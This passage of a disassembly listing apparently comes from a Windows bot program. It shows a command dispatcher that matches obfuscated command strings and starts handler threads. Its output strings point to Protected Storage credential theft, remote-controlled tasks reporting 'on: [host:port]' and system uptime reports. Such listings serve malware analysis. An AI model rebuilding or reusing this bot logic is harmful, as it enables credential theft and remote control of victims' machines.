call sub_41CD84
add esp, 10h
loc_40B98E: ; CODE XREF: sub_40A938+103Ej
cmp [ebp+arg_18], 0
jz loc_412F27
loc_40B998: ; CODE XREF: sub_40A938+1044j
push ebx
loc_40B999: ; CODE XREF: sub_40A938+85C6j
push edi
loc_40B99A: ; CODE XREF: sub_40A938+5CCBj
; sub_40A938+8367j
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
loc_40B9A4: ; CODE XREF: sub_40A938+5292j
add esp, 10h
jmp loc_412F27
; ---------------------------------------------------------------------------
loc_40B9AC: ; CODE XREF: sub_40A938+F38j
; sub_40A938+F4Aj
push dword ptr [ebx]
push offset aG3obv_r6j7h ; "g3obv.r6j7H/"
call edi ; dword_437174
test eax, eax
jnz short loc_40B9E3
push dword ptr [ebx+4]
push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
call edi ; dword_437174
test eax, eax
jnz short loc_40B9E3
push offset aLtlec18us5q0 ; "LTLec18US5q0"
push 12h
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_40B9D3: ; CODE XREF: sub_40A938+8134j
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [esi]
jmp loc_412BEC
; ---------------------------------------------------------------------------
loc_40B9E3: ; CODE XREF: sub_40A938+107Fj
; sub_40A938+108Dj
push dword ptr [ebx]
push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
call edi ; dword_437174
test eax, eax
jnz loc_40BD3D
push 13h
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40BA47
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40BA2F
cmp [ebp+arg_18], 0
jnz short loc_40BA39
push eax
push ebx
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40BA2F: ; CODE XREF: sub_40A938+10D9j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40BA39: ; CODE XREF: sub_40A938+10DFj
push [ebp+arg_C]
push ebx
loc_40BA3D: ; CODE XREF: sub_40A938+13EBj
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_40BA47: ; CODE XREF: sub_40A938+10C9j
cmp [ebp+arg_2C], 0
mov ecx, offset dword_443F0C
jz short loc_40BA59
mov eax, [ebx+8]
test eax, eax
jnz short loc_40BA5C
loc_40BA59: ; CODE XREF: sub_40A938+1118j
push ecx
jmp short loc_40BA5D
; ---------------------------------------------------------------------------
loc_40BA5C: ; CODE XREF: sub_40A938+111Fj
push eax
loc_40BA5D: ; CODE XREF: sub_40A938+1122j
lea eax, [ebp+var_59C]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
and [ebp+var_4E4], 0
mov [ebp+var_5A0], eax
mov eax, [ebp+arg_14]
mov [ebp+var_4EC], eax
mov eax, [ebp+arg_18]
mov [ebp+var_4E8], eax
mov eax, [ebp+arg_20]
mov [ebp+var_4F0], eax
push dword ptr [ebx+4]
push offset aItx_n_wpamx_ ; "ITx.N.WPAmx."
call edi ; dword_437174
test eax, eax
jnz loc_40BB4B
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push offset aSPstore ; "%s PStore"
push 13h
call sub_4233DE
add esp, 0Ch
mov [ebp+var_51C], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_5A0]
push edi
push eax
push offset sub_425156
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_51C]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_40BB3E
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40BB25
cmp [ebp+arg_18], 0
jnz short loc_40BB2F
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40BB25: ; CODE XREF: sub_40A938+11C9j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40BB2F: ; CODE XREF: sub_40A938+11CFj
call ebx ; dword_43716C
jmp loc_40BD1D
; ---------------------------------------------------------------------------
loc_40BB36: ; CODE XREF: sub_40A938+120Cj
push 32h
call dword_43718C ; Sleep
loc_40BB3E: ; CODE XREF: sub_40A938+11B8j
cmp [ebp+var_4E4], edi
jz short loc_40BB36
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40BB4B: ; CODE XREF: sub_40A938+1169j
mov eax, [ebx+4]
test eax, eax
jz short loc_40BB6E
push offset dword_43D664
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_40BB6E
mov eax, [ebx+4]
mov [ebp+var_518], eax
jmp short loc_40BB75
; ---------------------------------------------------------------------------
loc_40BB6E: ; CODE XREF: sub_40A938+1218j
; sub_40A938+1229j
and [ebp+var_518], 0
loc_40BB75: ; CODE XREF: sub_40A938+1234j
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push offset aSPstore ; "%s PStore"
push 13h
call sub_4233DE
add esp, 0Ch
mov [ebp+var_51C], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_5A0]
push eax
xor eax, eax
push eax
push ecx
push offset sub_42377D
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_51C]
mov edi, offset aSSD_ ; "%s %s (%d)."
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_40BC3B
cmp [ebp+arg_14], eax
jnz short loc_40BBEF
cmp [ebp+arg_18], eax
jnz short loc_40BBF5
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40BBEF: ; CODE XREF: sub_40A938+1290j
cmp [ebp+arg_18], 0
jz short loc_40BC14
loc_40BBF5: ; CODE XREF: sub_40A938+1295j
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 18h
loc_40BC14: ; CODE XREF: sub_40A938+12BBj
; sub_40A938+130Cj
push 0BB8h
call dword_43718C ; Sleep
cmp [ebp+arg_2C], 0
jz short loc_40BC2C
mov eax, [ebx+8]
test eax, eax
jnz short loc_40BC46
loc_40BC2C: ; CODE XREF: sub_40A938+12EBj
push offset dword_443F0C
jmp short loc_40BC47
; ---------------------------------------------------------------------------
loc_40BC33: ; CODE XREF: sub_40A938+130Aj
push 32h
call dword_43718C ; Sleep
loc_40BC3B: ; CODE XREF: sub_40A938+128Bj
cmp [ebp+var_4E4], 0
jz short loc_40BC33
jmp short loc_40BC14
; ---------------------------------------------------------------------------
loc_40BC46: ; CODE XREF: sub_40A938+12F2j
push eax
loc_40BC47: ; CODE XREF: sub_40A938+12F9j
lea eax, [ebp+var_828]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
and [ebp+var_770], 0
mov [ebp+var_82C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_778], eax
mov eax, [ebp+arg_18]
mov [ebp+var_774], eax
mov eax, [ebp+arg_20]
mov [ebp+var_77C], eax
mov eax, [ebx+4]
test eax, eax
jz short loc_40BCAC
push offset dword_43D664
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_40BCA2
mov eax, [ebx+4]
mov [ebp+var_7A4], eax
jmp short loc_40BCB3
; ---------------------------------------------------------------------------
loc_40BCA2: ; CODE XREF: sub_40A938+135Dj
xor ebx, ebx
mov [ebp+var_7A4], ebx
jmp short loc_40BCB5
; ---------------------------------------------------------------------------
loc_40BCAC: ; CODE XREF: sub_40A938+134Cj
and [ebp+var_7A4], 0
loc_40BCB3: ; CODE XREF: sub_40A938+1368j
xor ebx, ebx
loc_40BCB5: ; CODE XREF: sub_40A938+1372j
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_82C]
push ebx
push eax
push offset sub_424FC9
push ebx
push ebx
call dword_43717C ; CreateThread
mov ecx, [ebp+var_7A8]
imul ecx, 2724h
cmp eax, ebx
mov dword_46D70C[ecx], eax
jnz short loc_40BD30
cmp [ebp+arg_14], ebx
jnz short loc_40BD0E
cmp [ebp+arg_18], ebx
jnz short loc_40BD17
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40BD0E: ; CODE XREF: sub_40A938+13AFj
cmp [ebp+arg_18], ebx
jz loc_4148CF
loc_40BD17: ; CODE XREF: sub_40A938+13B4j
call dword_43716C ; RtlGetLastWin32Error
loc_40BD1D: ; CODE XREF: sub_40A938+11F9j
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_40BA3D
; ---------------------------------------------------------------------------
loc_40BD28: ; CODE XREF: sub_40A938+13FEj
push 32h
call dword_43718C ; Sleep
loc_40BD30: ; CODE XREF: sub_40A938+13AAj
cmp [ebp+var_770], ebx
jz short loc_40BD28
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40BD3D: ; CODE XREF: sub_40A938+10B6j
push dword ptr [ebx]
push offset aLndk50vzcqw0 ; "LNdk50vzCqW0"
call edi ; dword_437174
test eax, eax
jnz loc_40BF17
mov eax, [ebp+arg_10]
xor edi, edi
cmp [ebp+arg_2C], edi
mov [ebp+var_A28], eax
mov eax, [ebp+arg_18]
mov [ebp+var_970], eax
lea eax, [ebp+var_A24]
jnz loc_40BE7D
push offset dword_443F0C
push eax
call dword_4370A4 ; lstrcpyA
cmp [ebp+arg_30], edi
jz short loc_40BD9F
loc_40BD82: ; CODE XREF: sub_40A938+1552j
push [ebp+var_970]
lea eax, [ebp+var_A24]
push [ebp+var_A28]
push eax
call sub_42549F
jmp loc_40D299
; ---------------------------------------------------------------------------
loc_40BD9F: ; CODE XREF: sub_40A938+1448j
mov eax, [ebx+4]
cmp eax, edi
jz loc_40BE45
cmp [ebx+8], edi
jz loc_40BE45
cmp [ebx+0Ch], edi
jz loc_40BE45
push eax
call sub_420D92
push dword ptr [ebx+0Ch]
mov [ebp+arg_C], eax
lea eax, [ebp+var_5EC8]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 10h
push 4
pop esi
cmp [ebp+arg_4], esi
jle short loc_40BE1E
loc_40BDE4: ; CODE XREF: sub_40A938+14E4j
mov eax, [ebx+esi*4]
cmp eax, edi
jz short loc_40BE18
push eax
lea eax, [ebp+var_3F580]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_3F580]
push 104h
push eax
lea eax, [ebp+var_5EC8]
push eax
call sub_429910
add esp, 18h
loc_40BE18: ; CODE XREF: sub_40A938+14B1j
inc esi
cmp esi, [ebp+arg_4]
jl short loc_40BDE4
loc_40BE1E: ; CODE XREF: sub_40A938+14AAj
push dword ptr [ebx+8]
lea eax, [ebp+var_5EC8]
push eax
push [ebp+arg_C]
loc_40BE2B: ; CODE XREF: sub_40A938+15DAj
push [ebp+var_970]
lea eax, [ebp+var_A24]
push [ebp+arg_10]
push eax
call sub_42562E
jmp loc_414861
; ---------------------------------------------------------------------------
loc_40BE45: ; CODE XREF: sub_40A938+146Cj
; sub_40A938+1475j ...
mov edi, offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
loc_40BE4A: ; CODE XREF: sub_40A938+239Bj
; sub_40A938+5786j ...
cmp [ebp+arg_14], 0
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40BE74
cmp [ebp+arg_18], 0
loc_40BE59: ; CODE XREF: sub_40A938+57B9j
; sub_40A938+816Cj
jnz loc_4146C4
push ebx
push edi
push offset aSS_1 ; "%s %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40BE74: ; CODE XREF: sub_40A938+151Bj
; sub_40A938+57B0j ...
cmp [ebp+arg_18], 0
jmp loc_4146BE
; ---------------------------------------------------------------------------
loc_40BE7D: ; CODE XREF: sub_40A938+1433j
push dword ptr [ebx+4]
push eax
call dword_4370A4 ; lstrcpyA
cmp [ebp+arg_30], edi
jnz loc_40BD82
cmp [ebx+4], edi
jz short loc_40BE45
mov eax, [ebx+8]
cmp eax, edi
jz short loc_40BE45
cmp [ebx+0Ch], edi
jz short loc_40BE45
cmp [ebx+10h], edi
jz short loc_40BE45
push eax
call sub_420D92
push dword ptr [ebx+10h]
mov edi, eax
lea eax, [ebp+var_60CC]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 10h
push 5
pop esi
cmp [ebp+arg_4], esi
jle short loc_40BF07
loc_40BECD: ; CODE XREF: sub_40A938+15CDj
mov eax, [ebx+esi*4]
test eax, eax
jz short loc_40BF01
push eax
lea eax, [ebp+var_13660]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_13660]
push 104h
push eax
lea eax, [ebp+var_60CC]
push eax
call sub_429910
add esp, 18h
loc_40BF01: ; CODE XREF: sub_40A938+159Aj
inc esi
cmp esi, [ebp+arg_4]
jl short loc_40BECD
loc_40BF07: ; CODE XREF: sub_40A938+1593j
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_60CC]
push eax
push edi
jmp loc_40BE2B
; ---------------------------------------------------------------------------
loc_40BF17: ; CODE XREF: sub_40A938+1410j
push dword ptr [ebx]
push offset a9ljbh07crkd_ ; "9lJBH07crkD."
call edi ; dword_437174
test eax, eax
jnz loc_40C05B
push 14h
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40BF41
mov ebx, offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_40BF41: ; CODE XREF: sub_40A938+15FDj
mov eax, [ebp+arg_14]
mov [ebp+var_BBC], eax
mov eax, [ebp+arg_18]
mov [ebp+var_BC0], eax
mov eax, [ebp+arg_20]
mov [ebp+var_BB8], eax
push dword ptr [esi+0Ch]
lea eax, [ebp+var_C44]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push edi
mov ebx, offset aSS_ ; "%s %s."
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push ebx
push 14h
mov [ebp+var_C48], eax
call sub_4233DE
add esp, 10h
mov [ebp+var_BC4], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_C48]
push eax
xor eax, eax
push eax
push ecx
push offset sub_425F31
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_BC4]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_40C01C
cmp [ebp+arg_14], eax
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40BFF8
cmp [ebp+arg_18], eax
jnz short loc_40C002
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40BFF8: ; CODE XREF: sub_40A938+169Dj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40C002: ; CODE XREF: sub_40A938+16A2j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
jmp loc_414856
; ---------------------------------------------------------------------------
loc_40C014: ; CODE XREF: sub_40A938+16EBj
push 32h
call dword_43718C ; Sleep
loc_40C01C: ; CODE XREF: sub_40A938+168Dj
cmp [ebp+var_BB4], 0
jz short loc_40C014
cmp [ebp+arg_14], 0
jnz short loc_40C046
cmp [ebp+arg_18], 0
jnz short loc_40C050
push edi
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40C046: ; CODE XREF: sub_40A938+16F1j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40C050: ; CODE XREF: sub_40A938+16F7j
push edi
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
jmp loc_40B035
; ---------------------------------------------------------------------------
loc_40C05B: ; CODE XREF: sub_40A938+15EAj
push dword ptr [ebx]
push offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
call edi ; dword_437174
test eax, eax
jnz loc_40C1C1
push 15h
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40C085
mov ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_40C085: ; CODE XREF: sub_40A938+1741j
mov eax, [ebp+arg_14]
mov [ebp+var_A38], eax
mov eax, [ebp+arg_20]
mov [ebp+var_A3C], eax
push dword ptr [esi+0Ch]
lea eax, [ebp+var_AE8]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov [ebp+var_AEC], eax
mov ebx, [ebx+4]
test ebx, ebx
jz short loc_40C0C0
push ebx
call sub_42A030
pop ecx
jmp short loc_40C0C7
; ---------------------------------------------------------------------------
loc_40C0C0: ; CODE XREF: sub_40A938+177Dj
movzx eax, word_443984
loc_40C0C7: ; CODE XREF: sub_40A938+1786j
push eax
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push offset dword_457C20
mov ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
push edi
push ebx
push offset aSSOnSI ; "%s %s on: [%s:%i]"
push 15h
mov [ebp+var_A4C], eax
call sub_4233DE
add esp, 18h
mov [ebp+var_A68], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_AEC]
push eax
xor eax, eax
push eax
push ecx
push offset sub_4216DB
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_A68]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_40C16B
cmp [ebp+arg_14], eax
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40C154
cmp [ebp+arg_18], eax
jnz loc_414849
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push ebx
push edi
push dword ptr [esi+0Ch]
loc_40C149: ; CODE XREF: sub_40A938+1E28j
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40C154: ; CODE XREF: sub_40A938+17F5j
; sub_40A938+1E07j
cmp [ebp+arg_18], 0
jz loc_4148CF
jmp loc_414849
; ---------------------------------------------------------------------------
loc_40C163: ; CODE XREF: sub_40A938+183Aj
push 32h
call dword_43718C ; Sleep
loc_40C16B: ; CODE XREF: sub_40A938+17EBj
cmp [ebp+var_A30], 0
jz short loc_40C163
cmp [ebp+arg_14], 0
jnz short loc_40C1A0
cmp [ebp+arg_18], 0
jnz short loc_40C1AA
push [ebp+var_A4C]
push offset dword_457C20
push edi
push ebx
push offset aSSOnSI_0 ; "%s %s on: (%s:%i)"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_40C1A0: ; CODE XREF: sub_40A938+1840j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40C1AA: ; CODE XREF: sub_40A938+1846j
push [ebp+var_A4C]
push offset dword_457C20
push edi
push ebx
push offset aSSOnSI_0 ; "%s %s on: (%s:%i)"
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_40C1C1: ; CODE XREF: sub_40A938+172Ej
push dword ptr [ebx]
push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
call edi ; dword_437174
test eax, eax
jnz short loc_40C1DA
push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
push 15h
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_40C1DA: ; CODE XREF: sub_40A938+1894j
push dword ptr [ebx]
push offset aS3dyJzo6r_0 ; "s3dY//JZo6r/"
call edi ; dword_437174
test eax, eax
jz loc_414866
push dword ptr [ebx]
push offset aDo5oa0u5m7_ ; "dO5oA/0U5m7."
call edi ; dword_437174
test eax, eax
jz loc_414866
push dword ptr [ebx]
push offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0"
call edi ; dword_437174
test eax, eax
jnz loc_40C3DB
lea eax, [ebp+var_30]
push eax
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [ebp+var_38]
push eax
call dword_4370BC ; QueryPerformanceFrequency
xor eax, eax
cmp [ebp+var_2C], eax
jl short loc_40C268
jg short loc_40C22F
cmp [ebp+var_30], eax
jbe short loc_40C268
loc_40C22F: ; CODE XREF: sub_40A938+18F0j
cmp [ebp+var_34], eax
jl short loc_40C268
jg short loc_40C23B
cmp [ebp+var_38], eax
jbe short loc_40C268
loc_40C23B: ; CODE XREF: sub_40A938+18FCj
push [ebp+var_34]
push [ebp+var_38]
push [ebp+var_2C]
push [ebp+var_30]
call sub_42B220
mov dword ptr [ebp+var_C], eax
mov dword ptr [ebp+var_C+4], edx
fild [ebp+var_C]
push ecx
push ecx ; double
fstp [esp+14h+var_14]
call sub_42A636
pop ecx
pop ecx
call sub_42A910
jmp short loc_40C26E
; ---------------------------------------------------------------------------
loc_40C268: ; CODE XREF: sub_40A938+18EEj
; sub_40A938+18F5j ...
call dword_437184 ; GetTickCount
loc_40C26E: ; CODE XREF: sub_40A938+192Ej
xor ebx, ebx
mov edi, eax
inc ebx
push ebx
push 0
push edi
call sub_41B932
push eax
lea eax, [ebp+var_D90]
push eax
call sub_429A33
push ebx
push dword_457E38
push edi
call sub_41B932
push eax
lea eax, [ebp+var_D28]
push eax
call sub_429A33
push ebx
push dword_457F40
push edi
call sub_41B932
push eax
lea eax, [ebp+var_D5C]
push eax
call sub_429A33
mov edi, 2710h
lea eax, [ebp+var_6B4A0]
push edi
push 0
push eax
call sub_429690
add esp, 48h
push 8
call sub_423737
test eax, eax
pop ecx
jle short loc_40C2F3
push 0Dh
call sub_423737
cmp eax, ebx
pop ecx
jge short loc_40C2F3
push offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
jmp short loc_40C347
; ---------------------------------------------------------------------------
loc_40C2F3: ; CODE XREF: sub_40A938+19A6j
; sub_40A938+19B2j
push 0Dh
call sub_423737
test eax, eax
pop ecx
jle short loc_40C312
push 8
call sub_423737
cmp eax, ebx
pop ecx
jge short loc_40C312
push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
jmp short loc_40C347
; ---------------------------------------------------------------------------
loc_40C312: ; CODE XREF: sub_40A938+19C5j
; sub_40A938+19D1j
push 0Dh
call sub_423737
test eax, eax
pop ecx
jg short loc_40C359
push 8
call sub_423737
test eax, eax
pop ecx
jg short loc_40C359
push 0Dh
call sub_423737
cmp eax, ebx
pop ecx
jl short loc_40C342
push 8
call sub_423737
cmp eax, ebx
pop ecx
jge short loc_40C378
loc_40C342: ; CODE XREF: sub_40A938+19FCj
push offset aPJs70eukyp0 ; "P/JS70EukYp0"
loc_40C347: ; CODE XREF: sub_40A938+19B9j
; sub_40A938+19D8j
lea eax, [ebp+var_6B4A0]
push edi
push eax
call sub_429AEE
add esp, 0Ch
jmp short loc_40C378
; ---------------------------------------------------------------------------
loc_40C359: ; CODE XREF: sub_40A938+19E4j
; sub_40A938+19F0j
push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
push offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
push offset aSAndS ; "%s and %s"
lea eax, [ebp+var_6B4A0]
push edi
push eax
call sub_429AEE
add esp, 14h
loc_40C378: ; CODE XREF: sub_40A938+1A08j
; sub_40A938+1A1Fj
lea eax, [ebp+var_D5C]
lea ecx, [ebp+var_D90]
push eax
lea eax, [ebp+var_D28]
push offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY."
push eax
mov eax, offset aNI427pnt0 ; "n/i4//27pnT0"
cmp [ebp+arg_18], 0
push eax
push ecx
push eax
lea eax, [ebp+var_6B4A0]
push offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1"
push eax
push offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0"
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSSSSSSSSS ; "%s %s %s, %s %s (%s), %s (%s), %s (%s)"
jnz short loc_40C3C7
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
jmp short loc_40C3D1
; ---------------------------------------------------------------------------
loc_40C3C7: ; CODE XREF: sub_40A938+1A80j
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
loc_40C3D1: ; CODE XREF: sub_40A938+1A8Dj
add esp, 34h
mov eax, ebx
jmp loc_4148D2
; ---------------------------------------------------------------------------
loc_40C3DB: ; CODE XREF: sub_40A938+18CFj
push dword ptr [ebx]
push offset aPnb_aBfzu60_0 ; "pNb.a/Bfzu60"
call edi ; dword_437174
test eax, eax
jnz loc_40C4AA
xor edi, edi
push 1
push edi
call dword_437184 ; GetTickCount
push eax
call sub_41B932
push eax
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
lea eax, [ebp+var_57C20]
push offset aSUptimeS_ ; "%s UpTime: (%s)."
push eax
call sub_429A33
add esp, 1Ch
cmp dword_457014, edi
jnz short loc_40C459
call sub_41BB45
cmp eax, edi
mov dword_457FB8, eax
jnz short loc_40C452
call sub_41BAC3
push eax
push offset aRecordUptimeS_ ; ", Record UpTime: (%s)."
lea eax, [ebp+var_1D78]
push 32h
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_1D78]
push eax
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C452: ; CODE XREF: sub_40A938+1AF3j
push offset aRecord ; ", (Record)"
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40A938+1AE5j
push offset dword_43AB8C
loc_40C45E: ; CODE XREF: sub_40A938+1B18j
; sub_40A938+1B1Fj
lea eax, [ebp+var_57C20]
push eax
call dword_437090 ; lstrcatA
cmp [ebp+arg_14], edi
jnz short loc_40C48A
cmp [ebp+arg_18], edi
jnz short loc_40C493
lea eax, [ebp+var_57C20]
push eax
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 0Ch
loc_40C48A: ; CODE XREF: sub_40A938+1B36j
cmp [ebp+arg_18], edi
jz loc_4148CF
loc_40C493: ; CODE XREF: sub_40A938+1B3Bj
lea eax, [ebp+var_57C20]
push eax
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD0E
jmp loc_40D299
; ---------------------------------------------------------------------------
loc_40C4AA: ; CODE XREF: sub_40A938+1AAEj
push dword ptr [ebx]
push offset aI7atf_8Tag1 ; "i7Atf.8/tag1"
call edi ; dword_437174
test eax, eax
jnz loc_40C549
cmp dword_457014, eax
jnz short loc_40C506
cmp [ebp+arg_14], eax
mov edi, offset aSSS_0 ; "%s %s (%s)"
mov ebx, offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/"
jnz short loc_40C4F3
cmp [ebp+arg_18], eax
jnz short loc_40C4FC
push offset dword_6763F8
push ebx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
xor eax, eax
loc_40C4F3: ; CODE XREF: sub_40A938+1B98j
cmp [ebp+arg_18], eax
jz loc_4148CF
loc_40C4FC: ; CODE XREF: sub_40A938+1B9Dj
push offset dword_6763F8
jmp loc_40B2D2
; ---------------------------------------------------------------------------
loc_40C506: ; CODE XREF: sub_40A938+1B89j
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1"
jnz short loc_40C531
cmp [ebp+arg_18], eax
jnz short loc_40C53A
push ebx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
xor eax, eax
